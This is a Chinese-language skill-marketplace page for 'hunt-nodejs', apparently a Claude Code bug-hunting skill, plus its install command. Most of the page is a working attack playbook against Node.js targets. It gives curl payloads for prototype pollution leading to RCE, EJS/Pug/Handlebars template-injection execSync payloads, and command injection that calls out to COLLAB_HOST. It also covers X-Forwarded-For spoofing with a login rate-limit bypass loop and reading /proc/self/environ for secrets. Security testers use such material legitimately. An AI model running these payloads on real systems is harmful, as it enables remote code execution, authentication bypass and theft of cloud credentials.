mcpField
H
hunt-nodejs

hunt-nodejs

github.com/elementalsouls安全5.3k253 次安装今天更新
代码仓库

关于 hunt-nodejs

hunt-nodejs 是面向安全测试人员的 Node.js 漏洞排查技能,涵盖原型污染、Express 代理信任、模板注入和命令注入等测试路径。它还提供从技术指纹识别到影响验证的检查方法。

主要功能

  1. 01识别 Node.js 与 Express 暴露信号
  2. 02检测原型污染及其危险调用链
  3. 03测试 Express 代理信任配置
  4. 04检查模板引擎服务器端注入
  5. 05排查命令注入与环境信息泄露

适用场景

  1. 01审计 Node.js API 的原型污染风险
  2. 02检查 IP 白名单或限流是否可绕过
  3. 03测试用户输入是否进入模板或 shell 命令

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-nodejs

安装后在 Claude Code 中输入/hunt-nodejs确认已加载。

详细介绍

HUNT-NODEJS — Node.js 特定漏洞

皇冠明珠目标

在 Node.js 后端,原型污染到达一个危险调用点 = 严重 RCE。

最高价值的攻击链:

  • 原型污染 → RCE — 通过 lodash.merge / Object.assign 注入 __proto__ → 被污染的原型到达 child_process.exec 或 vm.runInNewContext 危险调用点
  • Express trust proxy — 未经验证便设置 app.set('trust proxy', true) → 攻击者设置 X-Forwarded-For,绕过 IP 允许列表或速率限制
  • EJS/Pug SSTI — 模板引擎接收用户输入 → {{= process.mainModule.require('child_process').execSync('id') }}
  • child_process 注入 — 用户输入被插入 shell 命令字符串 → OS 命令注入
  • require() 路径遍历 — 攻击者控制模块路径 → 将任意文件作为 JS 加载

攻击面信号

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

阶段 1 — 指纹识别

# Confirm Node.js/Express
curl -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl -s "https://$TARGET/package.json"
curl -s "https://$TARGET/package-lock.json"
curl -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"

阶段 2 — 原型污染检测

# JSON body injection — test if __proto__ is accepted
curl -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"

阶段 3 — 原型污染 → RCE 攻击链

# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation — check Interactsh for callback

阶段 4 — 滥用 Express Trust Proxy

# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?

# Spoof IP to 127.0.0.1 (localhost bypass)
curl -s -X POST https://$TARGET/api/admin/action \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"action": "test"}'

# Spoof to internal IP range
curl -s -X POST https://$TARGET/api/internal \
  -H "X-Forwarded-For: 10.0.0.1" \
  -H "X-Real-IP: 10.0.0.1"

# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
  curl -s https://$TARGET/api/login \
    -H "X-Forwarded-For: 1.2.3.$i" \
    -d '{"email":"[email protected]","password":"wrong"}' \
    -o /dev/null -w "$i: %{http_code}\n"
done

阶段 5 — 模板引擎 SSTI(EJS / Pug / Handlebars)

# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= 7*7 %>"}'

# EJS RCE payload
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'

# Pug SSTI
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'

# Handlebars — prototype pollution via template
curl -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'

阶段 6 — child_process 命令注入

# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan

# Basic injection test
curl -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl -s -X POST https://$TARGET/api/exec \
  -H "Content-Type: application/json" \
  -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'

# OOB via DNS
curl -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"

阶段 7 — /proc/self/environ 数据外泄

# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl -s "https://$TARGET/api/file?path=/proc/self/environ"
curl -s "https://$TARGET/api/read?file=../../../../proc/self/environ"

# Also check:
curl -s "https://$TARGET/api/file?path=/proc/self/cmdline"  # full command line
curl -s "https://$TARGET/api/file?path=/proc/self/cwd"       # working directory

攻击链表

Node.js 发现项攻击链目标影响
已确认原型污染查找 RCE 危险调用点(child_process、eval)严重 RCE
Express trust proxy绕过 IP 允许列表 / 速率限制绕过身份验证 / 绕过 DoS 防护
模板引擎中的 SSTIOS 命令执行严重 RCE
child_process 注入id && curl COLLAB_HOST严重 RCE
通过 LFI 访问 /proc/self/environAWS_ACCESS_KEY_ID 泄露云环境失陷

验证

✅ 原型污染:后续 API 响应中出现了未在请求中发送的键
✅ RCE 攻击链:收到 OOB 回调,或响应中出现 id 输出
✅ Trust proxy:伪造的 IP 被接受,可绕过速率限制或允许列表

严重程度:

  • 原型污染 → RCE:严重
  • SSTI → RCE:严重
  • child_process 注入:严重
  • Trust proxy → 绕过速率限制:中
  • /proc/self/environ 数据外泄:高(存在云密钥时)

评论

支持 Markdown